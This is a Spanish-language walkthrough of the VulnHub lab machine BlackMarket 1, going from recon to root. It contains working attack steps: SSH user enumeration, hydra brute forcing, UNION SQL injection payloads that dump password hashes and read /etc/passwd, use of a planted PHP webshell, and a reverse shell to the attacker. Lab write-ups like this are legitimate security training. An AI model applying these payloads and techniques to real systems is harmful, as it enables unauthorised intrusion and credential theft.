BlackMarket 1
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Una caja larga y muy "de pistas". El código fuente esconde un base64 (CIA - Operation Treadstone) que apunta a los personajes de Bourne, y con esos nombres una enumeración de usuarios SSH confirmanicky. Un diccionario con cewl + hydra saca su contraseña de FTP; ahí hay una pista hacia/vworkshop, donde una SQLi UNION vuelca hashes MD5 que se crackean (admin:BigBossCIA). Ese login regala la credencial de SquirrelMail, cuyo borrador cifrado se descifra con quipqiup y lleva a una puerta trasera cuya contraseña está oculta en una imagen. La backdoor da revshell, y un.Secretcon la contraseña dedimitri(miembro del gruposudo) remata la máquina.
Reconocimiento
Descubrimiento del host
La máquina es de VulnHub y vive en la red local, así que lo primero no es escanear puertos sino encontrar la IP. Un barrido ARP contra el segmento la saca junto al resto de vecinos, y la única de la lista con MAC de VMware es la nuestra:
sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 2c:70:4f:14:4e:c7 (Unknown)
192.168.1.136 b0:a4:60:cf:91:26 Intel Corporate
192.168.1.138 f4:03:2a:28:e7:36 Amazon Technologies Inc.
192.168.1.195 00:0c:29:50:a0:77 VMware, Inc.
Ending arp-scan 1.10.0: 256 hosts scanned in 2.741 seconds (93.40 hosts/sec). 10 respondedObjetivo: 192.168.1.195.
ping -c 1 192.168.1.195
PING 192.168.1.195 (192.168.1.195) 56(84) bytes of data.
64 bytes from 192.168.1.195: icmp_seq=1 ttl=64 time=1.14 ms
--- 192.168.1.195 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.136/1.136/1.136/0.000 msTTL 64 → Linux (Windows responde con 128). Indicio, no prueba: cada salto de routing lo decrementa.
Escaneo inicial
El escaneo de puertos completo destapa siete servicios, con toda la pila de correo:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.195 -oG scan
Discovered open port 995/tcp on 192.168.1.195
Discovered open port 993/tcp on 192.168.1.195
Discovered open port 143/tcp on 192.168.1.195
Discovered open port 80/tcp on 192.168.1.195
Discovered open port 21/tcp on 192.168.1.195
Discovered open port 110/tcp on 192.168.1.195
Discovered open port 22/tcp on 192.168.1.195
Completed SYN Stealth Scan at 19:04, 26.35s elapsed (65535 total ports)
Not shown: 65528 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
110/tcp open pop3 syn-ack ttl 64
143/tcp open imap syn-ack ttl 64
993/tcp open imaps syn-ack ttl 64
995/tcp open pop3s syn-ack ttl 64
MAC Address: 00:0C:29:50:A0:77 (VMware)El fichero -oG scan que deja el escaneo lo resume extractPorts, otra función del ~/.zshrc, que saca la IP y la lista de puertos y los deja en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 192.168.1.195
Open ports: 21,22,80,110,143,993,995
Ports copied to clipboard
IP Address: 192.168.1.195
Open ports: 21,22,80,110,143,993,995Los 65528 restantes salen como filtered (no-response), no como closed. Aquí eso no significa necesariamente que haya un firewall: nmap avisa él mismo con Some closed ports may be reported as filtered due to --defeat-rst-ratelimit, porque el kernel del objetivo limita el ritmo al que emite RST y a --min-rate 5000 se pierden respuestas. Es un artefacto de la velocidad, no un hallazgo.
nmap -p21,22,80,110,143,993,995 -sCV 192.168.1.195
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 a9:98:84:aa:90:7e:f1:e6:be:c0:84:3e:fa:aa:83:8a (DSA)
| 2048 07:5c:77:15:30:5a:17:95:8e:0f:91:f0:2d:0b:c3:7a (RSA)
| 256 2f:9c:29:b5:f5:dc:f4:95:07:6d:41:ee:f9:0d:15:b8 (ECDSA)
|_ 256 24:ac:30:c7:79:7f:43:cc:fc:23:df:ea:db:bb:4a:cc (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: BlackMarket Weapon Management System
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
|_ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
|_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:50:A0:77 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelDos datos condicionan toda la caja:
OpenSSH 6.6.1p1, de Ubuntu 14.04. Es anterior a la 7.7, que es donde se corrigió CVE-2018-15473: la fuga que permite distinguir usuarios válidos de inválidos. Anotado.- Cuatro puertos de Dovecot (POP3, IMAP y sus versiones TLS). Cuatro puertos de correo en una máquina que sirve una web implica que existen buzones locales y, muy probablemente, un webmail. Todavía no se ve dónde, pero la superficie está declarada desde el minuto uno.
whatweb describe la web del 80:
whatweb 192.168.1.195
http://192.168.1.195 [200 OK] Apache[2.4.7], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ],
HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[192.168.1.195], JQuery,
PasswordField[password], Script, Title[BlackMarket Weapon Management System], X-UA-Compatible[IE=edge]La extensión Wappalyzer del navegador confirma y amplía lo mismo desde el otro lado, el del cliente:

Operating systems: Ubuntu
Web servers: Apache HTTP Server 2.4.7
Programming languages: PHP
JavaScript libraries: DataTables 1.10.12, jQuery 3.1.0
UI frameworks: Bootstrap 3.3.7
Font scripts: Font AwesomeUn panel de login (PasswordField) y nada más a la vista. Cuando la web solo ofrece un formulario, el siguiente sitio es el HTML crudo.
La pista en el código fuente
view-source:http://192.168.1.195/
</form>
...
<script>
$(document).ready(function(){ ... });
</script><!--
flag1{Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=} -->
</body>
</html>Una flag1 metida en un comentario HTML al final del documento, con lo que parece base64 (termina en =, alfabeto alfanumérico). Se selecciona la cadena y se copia desde el propio visor de código fuente:

echo 'Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=' | base64 -d
CIA - Operation TreadstoneOperation Treadstone es el programa ficticio de la saga Bourne. Buscándolo se llega a la entrada de la wiki de Bourne, y su sección Personal es literalmente una lista de nombres:

Personal
Richard Webb - Creador y Fundador, destinado en Beirut, Líbano.
Ward Abbott - Jefe de Operaciones.
Alexander Conklin - Director de Campo, destinado en Langley, Virginia.
Albert Hirsch - Director del programa de capacitación de Treadstone.
Neil Daniels - Supervisor de Capacitación.
Nicky Parsons - Coordinadora de logística de campo y gestora de agentes, destinado en París, Francia.
Daniel Zorn - Asistente de Conklin y, posteriormente, de Abbott.Esa misma URL será después la entrada de cewl. De momento lo que interesa son los nombres de pila: Richard, Ward, Alexander, Albert, Neil, Nicky, Daniel. Eso no es trivia: es una lista de usuarios candidatos obtenida por contexto, que es justo lo que hace falta para el OpenSSH antiguo del escaneo.
Acceso inicial
Enumeración de usuarios SSH
CVE-2018-15473 aprovecha que el OpenSSH vulnerable procesa de forma distinta un paquete de autenticación malformado según si el usuario existe o no: con un usuario inexistente corta la conexión de inmediato, con uno válido sigue el flujo. El exploit público lo automatiza:
searchsploit ssh user enumeration
searchsploit -m linux/remote/45939.py
mv 45939.py ssh_user_enumeration.py
python2.7 ssh_user_enumeration.py 192.168.1.195 <user> 2>/dev/null
[-] albert is an invalid username
[-] alexander is an invalid username
[-] neil is an invalid username
[+] nicky is a valid username
[-] daniel is an invalid username
[-] ward is an invalid username
[-] richard is an invalid usernameDe los siete nombres de la serie, solo nicky existe en el sistema. Sin la pista del base64 esta enumeración no habría tenido nombres que probar; sin el SSH antiguo, la pista no se habría podido confirmar. Las dos piezas se necesitan.
Lo que rockyou no encontró
Con un usuario válido, lo primero es lo evidente: hydra con rockyou contra el FTP (el SSH se descarta como objetivo del ataque porque un fallo ahí es más ruidoso y más lento).
hydra -l nicky -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.195 -t 50
[DATA] max 50 tasks per 1 server, overall 50 tasks, 14344399 login tries (l:1/p:14344399), ~286888 tries per task
[DATA] attacking ftp://192.168.1.195:21/
[STATUS] 843.00 tries/min, 843 tries in 00:01h, 14343555 to do in 283:35h, 50 active
[STATUS] 876.67 tries/min, 2630 tries in 00:03h, 14341769 to do in 272:40h, 50 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.Este intento merece enseñarse aunque falle, porque el número lo explica todo: 14 344 399 contraseñas a ~850 por minuto son 283 horas, casi doce días. El servidor no da más ritmo, así que la fuerza bruta genérica no es viable aquí. Se aborta.
Un diccionario hecho a medida
Si rockyou no vale, el diccionario tiene que salir del propio tema de la máquina. cewl rastrea una página y extrae sus palabras; se le da la entrada de la wiki de Bourne sobre Operation Treadstone:
cewl -w dir.txt https://bourne.fandom.com/wiki/Operation_Treadstone -d 1
wc -l dir.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
8283 dir.txt8283 palabras contra 14 millones. Y esta vez sí:
hydra -l nicky -P dir.txt ftp://192.168.1.195 -t 50 -I
[DATA] max 50 tasks per 1 server, overall 50 tasks, 8283 login tries (l:1/p:8283), ~166 tries per task
[DATA] attacking ftp://192.168.1.195:21/
[21][ftp] host: 192.168.1.195 login: nicky password: CIAnicky:CIA. La contraseña ni siquiera era exótica, pero rockyou la habría encontrado también: el problema era el orden, no el contenido. Un diccionario de 8283 palabras temáticas termina en segundos donde uno de 14 millones tarda días.
Por completitud se repitió el ataque con los siete nombres de la wiki en lugar de solo nicky, para descartar que hubiera más cuentas con contraseña débil:
echo -e "richard\nward\nalexander\nalbert\nneil\nnicky\ndaniel" > users.txt
cat users.txt
hydra -L users.txt -P dir.txt ftp://192.168.1.195 -t 50 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 50 tasks per 1 server, overall 50 tasks, 57981 login tries (l:7/p:8283), ~1160 tries per task
[DATA] attacking ftp://192.168.1.195:21/Siete veces más intentos y el mismo único resultado: la de nicky es la única credencial válida.
FTP: la primera pista
ftp 192.168.1.195
Connected to 192.168.1.195.
220 (vsFTPd 3.0.2)
Name (192.168.1.195:krmena): nicky
331 Please specify the password.
Password:
230 Login successful.
ftp> dir
dr-xr-xr-x 3 65534 65534 4096 Nov 06 2017 ftp
ftp> cd ftp
ftp> dir
drwxr-xr-x 2 1002 1002 4096 Nov 09 2017 ImpFiles
ftp> cd ImpFiles
ftp> dir
-rw-r--r-- 1 0 0 216 Nov 12 2017 IMP.txt
ftp> get IMP.txt
226 Transfer complete.
216 bytes received in 00:00 (86.76 KiB/s)
ftp> exit$ cat IMP.txt
flag2{Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy}
If anyone reading this message it means you are on the right track however I do not have any idea about the
CIA blackmarket Vehical workshop. You must find out and hack it!echo -n "Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy" | base64 -d
cat IMP.txt
Congrats Proceed FurtherLa flag no dice nada útil, pero el texto sí: "CIA blackmarket Vehical workshop", con la falta de ortografía incluida. Eso es un nombre de ruta disfrazado de frase.
Un diccionario de dos palabras
No hace falta fuzzear con un diccionario genérico si el propio objetivo ha dado el nombre. Se escriben las combinaciones plausibles de "vehical" y "workshop" y se prueban:
echo "vehicalworkshop\nvworkshop\nvw\nvehicalshop\nworkshop\nshop" > diccionario.txt
wfuzz -u http://192.168.1.195/FUZZ -w diccionario.txt --hc=404
Target: http://192.168.1.195/FUZZ
Total requests: 6
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 301 9 L 28 W 317 Ch "vworkshop"
Total time: 0
Processed Requests: 6
Filtered Requests: 5
Requests/sec.: 0Seis peticiones, un acierto: /vworkshop devuelve un 301 (redirección, es decir, el directorio existe y Apache manda a su barra final). Cinco de las seis combinaciones eran 404 y no habría pasado nada por probar veinte más; lo que importa es que el nombre salió del IMP.txt, no de un diccionario.
Explotación: SQLi UNION
El id de las piezas
/vworkshop es el "BlackMarket Auto WorkShop", una tienda con secciones de vehículos y recambios. La ficha de cada pieza se pide con un sparepartid numérico en la URL, que es el patrón clásico de un parámetro que acaba dentro de una consulta SQL.

Spare part name: abcd spare
Spare parts type : Lock
Cost : 333.00
Spare parts serial No. : ZXC1
Description: This is a doorlockLa ficha pinta cinco campos distintos, y ese detalle importa: son las columnas que la inyección podrá usar después como pantalla para sacar datos.
Una SQLi UNION necesita saber cuántas columnas devuelve la consulta original, porque el UNION exige el mismo número a ambos lados. ORDER BY n lo averigua sin ver la consulta: ordena por la columna n, y falla en cuanto n excede el número real de columnas.
/vworkshop/sparepartsstoremore.php?sparepartid=1' ORDER BY 8-- -
Spare part name: abcd spare
Spare parts type :
Cost :
Spare parts serial No. :
Description:Con 8 la ficha se vacía: la consulta ha reventado y la página, que no muestra el error de MySQL, se limita a no pintar nada. Con 7, en cambio:
/vworkshop/sparepartsstoremore.php?sparepartid=1' ORDER BY 7-- -
Spare part name: abcd spare
Spare parts type : Lock
Cost : 333.00
Spare parts serial No. : ZXC1
Description: This is a doorlockEl contraste entre las dos capturas es la prueba doble: la consulta tiene 7 columnas y, de paso, que la comilla se está inyectando (si no, ORDER BY 8 no habría cambiado nada). El campo Spare parts serial No. es el que mejor se ve, así que ahí es donde se coloca la carga.
Enumerar la base de datos
Primero los esquemas, con group_concat para traerlos todos en una sola celda:
/vworkshop/sparepartsstoremore.php?sparepartid=100' UNION SELECT NULL,NULL,NULL,NULL,
group_concat(schema_name),NULL,NULL FROM information_schema.schemata-- -
Spare parts serial No. :
information_schema,BlackMarket,eworkshop,mysql,performance_schemaEl sparepartid=100 no existe a propósito: así la consulta original no devuelve filas y lo único que se pinta es lo del UNION. De los cinco esquemas, tres son de sistema y quedan BlackMarket y eworkshop. El primero es el que da nombre a la máquina.
... group_concat(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema="BlackMarket"-- -
cart,category,customer,flag,inventory,product,sales,sales_detail,supplier,user... group_concat(column_name),NULL,NULL FROM information_schema.columns
WHERE table_schema="BlackMarket" AND table_name="user"-- -
userid,username,password,accessYa se sabe exactamente qué pedir. El 0x3A del group_concat es el carácter : en hexadecimal, que se usa como separador porque una comilla dentro de la carga rompería la inyección:
/vworkshop/sparepartsstoremore.php?sparepartid=100' UNION SELECT NULL,NULL,NULL,NULL,
group_concat(userid,0x3A,username,0x3A,password),NULL,NULL FROM BlackMarket.user-- -
admin:cf18233438b9e88937ea0176f1311885
user:0d8d5cd06832b29560745fe4e1b941cf
supplier:99b0e8da24e29e4ccb5d7d76e677c2ac
jbourne:28267a2e06e312aee91324e2fe8ef1fd
bladen:cbb8d2a0335c793532f9ad516987a41cEl volcado llega en una sola línea separada por comas, así que se parte por líneas y se guarda en un fichero para tenerlo a mano:
echo "1:admin:cf18233438b9e88937ea0176f1311885,2:user:0d8d5cd06832b29560745fe4e1b941cf,..." \
| tr ',' '\n' > ../content/creds.txt
cat ../content/creds.txt
1:admin:cf18233438b9e88937ea0176f1311885
2:user:0d8d5cd06832b29560745fe4e1b941cf
4:supplier:99b0e8da24e29e4ccb5d7d76e677c2ac
5:jbourne:28267a2e06e312aee91324e2fe8ef1fd
6:bladen :cbb8d2a0335c793532f9ad516987a41cCinco usuarios con lo que parecen MD5 (32 caracteres hexadecimales, sin sal a la vista). Los userid van 1, 2, 4, 5 y 6: falta el 3, señal de que alguna cuenta se borró en algún momento. Uno de ellos, jbourne, es el protagonista de la saga: no es casualidad, y volverá a aparecer.
Lo que la misma SQLi permitía y no hizo falta
Merece la pena dejar constancia de hasta dónde llegaba el agujero. El usuario de MySQL tenía permiso FILE, así que la misma inyección leía ficheros del disco con load_file():
/vworkshop/sparepartsstoremore.php?sparepartid=100' UNION SELECT NULL,NULL,NULL,NULL,
load_file("/etc/passwd"),NULL,NULL-- -
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:102:106:MySQL Server,,,:/nonexistent:/bin/false
dovecot:x:106:114:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
...La ruta de esta caja no pasa por ahí, pero es la diferencia entre "hay una SQLi" y "hay una SQLi con lectura de ficheros del servidor", que en un informe real cambia la severidad.
Crackeo de los MD5
Son MD5 sin sal, así que no hace falta romperlos: basta con buscarlos en una base de datos de hashes ya resueltos, que es lo que hace hashes.com.


Found:
bladen:nV<?>z
0d8d5cd06832b29560745fe4e1b941cf:user
99b0e8da24e29e4ccb5d7d76e677c2ac:supplier
cf18233438b9e88937ea0176f1311885:BigBossCIA
Left:
admin:cf18233438b9e88937ea0176f1311885
user:0d8d5cd06832b29560745fe4e1b941cf
supplier:99b0e8da24e29e4ccb5d7d76e677c2ac
jbourne:28267a2e06e312aee91324e2fe8ef1fd
cbb8d2a0335c793532f9ad516987a41cCuatro de cinco caen: user:user y supplier:supplier son inútiles, bladen devuelve una cadena con caracteres no imprimibles, y el bueno es admin:BigBossCIA. jbourne es el único que resiste, lo cual encaja con que sea el personaje principal: su contraseña no está en ninguna tabla pública.
El login que regala la siguiente pista
Con admin:BigBossCIA se entra al panel del principio (/login.php):

Login Success, Welcome BigBOSS! here is your flag4{bm90aGluZyBpcyBoZXJl} Jason Bourne Email access ?????echo -n "bm90aGluZyBpcyBoZXJl" | base64 -d
nothing is hereLa flag lo dice literalmente: no hay nada. Lo que importa es el resto de la frase, "Jason Bourne Email access ?????". Dos lecturas posibles: o son signos de interrogación de "no sé cuál es", o son la contraseña. Y encaja con lo anterior: jbourne es justo el hash que no se pudo crackear, porque ????? no aparece en ninguna rainbow table. Falta encontrar el webmail donde usarla, que es lo que adelantaban los cuatro puertos de Dovecot.
Pivoting web: SquirrelMail y la puerta trasera
Encontrar el webmail
dirsearch -u http://192.168.1.195 --exclude-status=404,403
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
[21:25:34] 301 - 313B - /admin -> http://192.168.1.195/admin/
[21:25:34] 302 - 0B - /admin/ -> ../index.php
[21:25:35] 302 - 0B - /admin/index.php -> ../index.php
[21:25:47] 301 - 311B - /css -> http://192.168.1.195/css/
[21:25:47] 301 - 310B - /db -> http://192.168.1.195/db/
[21:25:48] 301 - 312B - /dist -> http://192.168.1.195/dist/
[21:25:53] 200 - 457B - /header.php
[21:25:57] 200 - 0B - /login.php
[21:26:13] 301 - 320B - /squirrelmail -> http://192.168.1.195/squirrelmail/
[21:26:18] 301 - 314B - /upload -> http://192.168.1.195/upload/
[21:26:18] 301 - 312B - /user -> http://192.168.1.195/user/
Task CompletedAhí está: /squirrelmail, el webmail que da sentido a los puertos IMAP/POP3. Los /admin que redirigen a ../index.php son la sesión rebotando, no un hallazgo.
La contraseña eran cinco interrogaciones

Se prueba jbourne con ????? literalmente, los cinco caracteres del mensaje. Y entra:

Current Folder: INBOX.Drafts
To Date Subject
putin@kgb.gov.ru Nov 16, 2017 IMPORTANT MESSAGEEl correo interesante no está en la bandeja de entrada sino en borradores, que es donde se guarda lo que nunca llegó a enviarse. Y el destinatario, putin@kgb.gov.ru, ya avisa del tono de la máquina.
El borrador cifrado

Subject: IMPORTANT MESSAGE
From: jbourne@localhost
To: putin@kgb.gov.ru
Date: Thu, November 16, 2017 9:38 pm
Flag5{RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=}
HELLO Friend,
I have intercept the message from Russian's some how we are working on the same
direction, however, I couldn't able to decode the message.
<Message Begins>
Sr Wrnrgir
Ru blf ziv ivzwrmt gsrh R nrtsg yv mlg zorev. R szev kozxv z yzxpwlli rm Yozxpnzipvg
dliphslk fmwvi /ptyyzxpwlli ulowvi blf nfhg szev gl fhv
KzhhKzhh.qkt rm liwvi gl tvg zxxvhh.
</end>echo -n "RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=" | base64 -dEverything is encryptedEl texto conserva la estructura de un mensaje en inglés (espacios, longitudes de palabra, una barra / que delata una ruta), así que es una sustitución monoalfabética, no un cifrado moderno. Se pega en quipqiup, que resuelve este tipo de cifrados por frecuencias sin necesidad de conocer la clave:

Hi Dimitri
If you are reading this I might be not alive. I have place a backdoor in Blackmarket
workshop under /kgbbackdoor folder you must have to use PassPass.jpg in order to get access.La sustitución concreta es Atbash (la primera letra del alfabeto por la última): S→H, r→i, W→D, de ahí que Sr Wrnrgir sea Hi Dimitri. El mensaje entrega tres cosas: el nombre del usuario local (Dimitri, que reaparecerá en la escalada), la ruta /kgbbackdoor y el fichero PassPass.jpg.
La ruta que solo tiene una imagen
http://192.168.1.195/vworkshop/kgbbackdoor/PassPass.jpg
El directorio no lista contenido y la imagen es lo único visible. Si el mensaje decía que hace falta la imagen "para conseguir acceso", tiene que haber algo más ahí donde entrar:
gobuster dir -u http://192.168.1.195/vworkshop/kgbbackdoor \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
[+] Wordlist: /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Extensions: php
/.php (Status: 403) [Size: 306]
/backdoor.php (Status: 200) [Size: 301]
Progress: 441128 / 441130 (100.00%)
FinishedDe 441 130 peticiones, un solo 200: /backdoor.php. Y al abrirlo, lo que se ve es un 404:

<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited...</address>
<pre align="center">
<form method="post">
<input type="password" name="pass">
</form>
</pre>El 404 es falso, y hay dos formas de saberlo sin leer el código. Una: gobuster lo reporta como Status: 200, no 404, así que el servidor devuelve "OK" mientras la página dice lo contrario. Dos: la firma al pie dice Apache/2.2.22 (Unix) mod_ssl ... mod_bwlimited, que es la de un cPanel de CentOS y no coincide con el Apache/2.4.7 (Ubuntu) que reportó nmap. Es una página de error copiada y pegada para disimular. Dentro, invisible en la vista normal y localizado con el inspector, un <input type="password" name="pass">.
Esteganografía: la contraseña de la backdoor
PassPass.jpg es lo que el mensaje decía que hacía falta. Antes de sacar herramientas de esteganografía, lo primero es siempre strings: mucho texto se concatena tal cual al final del fichero, más allá de los datos de la imagen.
wget http://192.168.1.195/vworkshop/kgbbackdoor/PassPass.jpg
strings PassPass.jpg | tail
[qh"3
cm+B
.}21
...
Pass = 5215565757312090656Entre basura binaria aparece Pass = 5215565757312090656. Pero ese número tal cual no abre nada: son 19 dígitos decimales, demasiado largo para una contraseña escrita a mano y sospechosamente parecido a un número que representa otra cosa. Pasado a hexadecimal:

Decimal: 5215565757312090656
Hexadecimal: 4861696C4B47422016 dígitos hexadecimales = 8 bytes, y todos caen en el rango imprimible ASCII (0x48, 0x61, 0x69, 0x6C...). Eso ya no es un número, es texto:

Hex: 4861696C4B474220
Text: HailKGBHailKGB (el 20 final es el espacio). Con ella, el falso 404 se abre:

Uname: Linux Dimitri 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64
User: 33 ( www-data ) Group: 33 ( www-data )
Php: 5.5.9-1ubuntu4.22 Safe mode: OFF
Cwd: /var/www/html/vworkshop/kgbbackdoor/
[Sec Info] [Files] [Exec] [Sql] [PHP Tools] [LFI] [Php] [Safe mode] [String tools] [XSS Shell]
[Bruteforce] [Network] [Logout] [Self remove]
Name Size Modify Owner/Group Permissions
backdoor.php 104.19 KB 2017-11-08 22:17:08 root/root -rw-r--r--
backdoor1.php 561 B 2017-11-07 21:54:51 root/root -rw-r--r--
flag.txt 21 B 2017-11-12 19:17:27 root/root -rw-r--r--
PassPass.jpg 196.38 KB 2017-11-07 22:10:11 root/root -rw-r--r--No es un formulario casero: es WSO 2.6, una webshell PHP conocida, con gestor de ficheros, ejecutor de comandos, cliente SQL y utilidades de red. El Uname ya adelanta el nombre del host, Dimitri, el mismo que aparecía en el criptograma.
Revshell desde la backdoor
La sección Network de WSO trae la reverse shell ya montada (un back-connect en Perl que deja en /tmp/bc.pl), así que solo hay que indicar IP y puerto. Primero el listener:
nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.195] 38788
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-dataLa cabecera del panel ya había adelantado el contexto (User: 33 ( www-data ), Cwd: /var/www/html/vworkshop/kgbbackdoor/), y el whoami lo confirma. El can't access tty avisa de que la shell no es interactiva todavía.
Escalada de privilegios
Tratamiento de la TTY
Antes de enumerar nada conviene arreglar la shell: sin TTY no hay Ctrl+C sin morir, ni historial, ni su (que exige un terminal real para pedir la contraseña). El tratamiento es el de siempre, en dos tiempos: primero se abre una bash con TTY dentro de la sesión y se manda al fondo, luego se pone la terminal local en crudo y se recupera el trabajo.
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.195] 38788
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ script /dev/null -c bash
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ ^Z
zsh: suspended nc -nlvp 443
[1] + continued nc -nlvp 443
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$Falta ajustar el tamaño (si no, el texto largo se parte donde no debe) y declarar el tipo de terminal, que es lo que da color y permite usar editores:
stty size # en la máquina atacante
stty rows 49 cols 236
export TERM=xterm SHELL=bash
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ stty size
49 236El nombre de máquina que asoma en el prompt, Dimitri, ya es una pista en sí mismo. Y con la shell usable, un ls -la sobre /home enseña lo que un ls pelado escondía:
alias ls="ls -la"
cd /home && ls
total 20
drwxr-xr-x 5 root root 4096 Nov 16 2017 .
drwxr-xr-x 22 root root 4096 Nov 1 2017 ..
drwxrwxr-x 2 dimitri dimitri 4096 Nov 16 2017 .Mylife
drwxr-xr-x 4 dimitri dimitri 4096 Nov 16 2017 dimitri
dr-xr-xr-x 4 nicky nicky 4096 Nov 6 2017 nickyFuga en /home/.Mylife/.Secret
En /home hay un directorio oculto .Mylife con un .Secret:
cat /home/.Mylife/.Secret
cat /etc/passwd | grep -i dimi
www-data@Dimitri:/home/.Mylife$ cat .Secret
I have been working on this CIA BlackMarket Project but it seems like I am not doing anything
right for people. Selling drugs and guns is not my business so soon I will quit the job.
About my personal life I am a sharp shooter have two kids but my wife don't like me and I am
broke. Food wise I eat everything but DimitryHateApple
I will add more about later!
www-data@Dimitri:/home/.Mylife$ cat /etc/passwd | grep -i dimi
dimitri:x:1000:1000:,,,:/home/dimitri:/bin/bashLa última frase es un no-sequitur deliberado: en mitad de un texto sobre comida aparece DimitryHateApple pegado, sin espacios, con mayúsculas internas. Eso es una contraseña disfrazada. Pero hay un detalle: el texto escribe "Dimitry" con y mientras que /etc/passwd dice dimitri con i.
su dimitri -> sudo -> root
su dimitri
id
sudo su
www-data@Dimitri:/home/.Mylife$ su dimitri
Password:
su: Authentication failure
www-data@Dimitri:/home/.Mylife$ su dimitri
Password:
dimitri@Dimitri:/home/.Mylife$ id
uid=1000(dimitri) gid=1000(dimitri) groups=1000(dimitri),4(adm),24(cdrom),27(sudo),...
dimitri@Dimitri:/home/.Mylife$ sudo su
[sudo] password for dimitri:
root@Dimitri:/home/.Mylife#La primera su falla con DimitryHateApple literal, y la segunda funciona corrigiendo la letra: DimitriHateApple. Es exactamente el tipo de variación que un hydra con reglas de mutación encontraría, y que a ojo se resuelve leyendo el /etc/passwd.
Con la sesión de dimitri, el id enseña el remate: pertenece al grupo 27(sudo), así que un simple sudo su abre la shell de root pidiendo su propia contraseña, la que se acaba de descubrir.
cat /root/THEEND.txt
root@Dimitri:~# cat THEEND.txt
FINALLY YOU MADE IT!
THANKS FOR PLAYING BOOT2ROOT CTF AND PLEASE DO MAIL ME ANY SUGGESTIONS @ acebomber@protomail.com
THANKS SECTALKS BRISBANE FOR HOSTING MY CTFMáquina pwneada.
Cadena de ataque
código fuente (base64: Operation Treadstone) -> nombres de Bourne -> ssh user enum -> nicky
└─> cewl + hydra (FTP) -> nicky:CIA -> IMP.txt -> pista /vworkshop
└─> SQLi UNION (sparepartid) -> hashes MD5 -> admin:BigBossCIA
└─> login.php -> pista "Email access ?????" -> SquirrelMail jbourne:?????
└─> borrador Atbash (quipqiup) -> /kgbbackdoor + PassPass.jpg
└─> strings -> dec2hex2texto -> HailKGB -> WSO 2.6 -> revshell
└─> .Secret (Dimitry->Dimitri) -> su dimitri -> sudo su -> rootLecciones aprendidas
- Una pista temática es un diccionario. El base64 lleva a Operation Treadstone, sus personajes a los usuarios y
cewla un diccionario de 8283 palabras que acaba en segundos donderockyoupedía 283 horas. - Un SSH antiguo delata usuarios. CVE-2018-15473 distingue usuario válido de inválido, y eso convierte siete nombres de una serie en un objetivo concreto.
- El hash que no cae también es información.
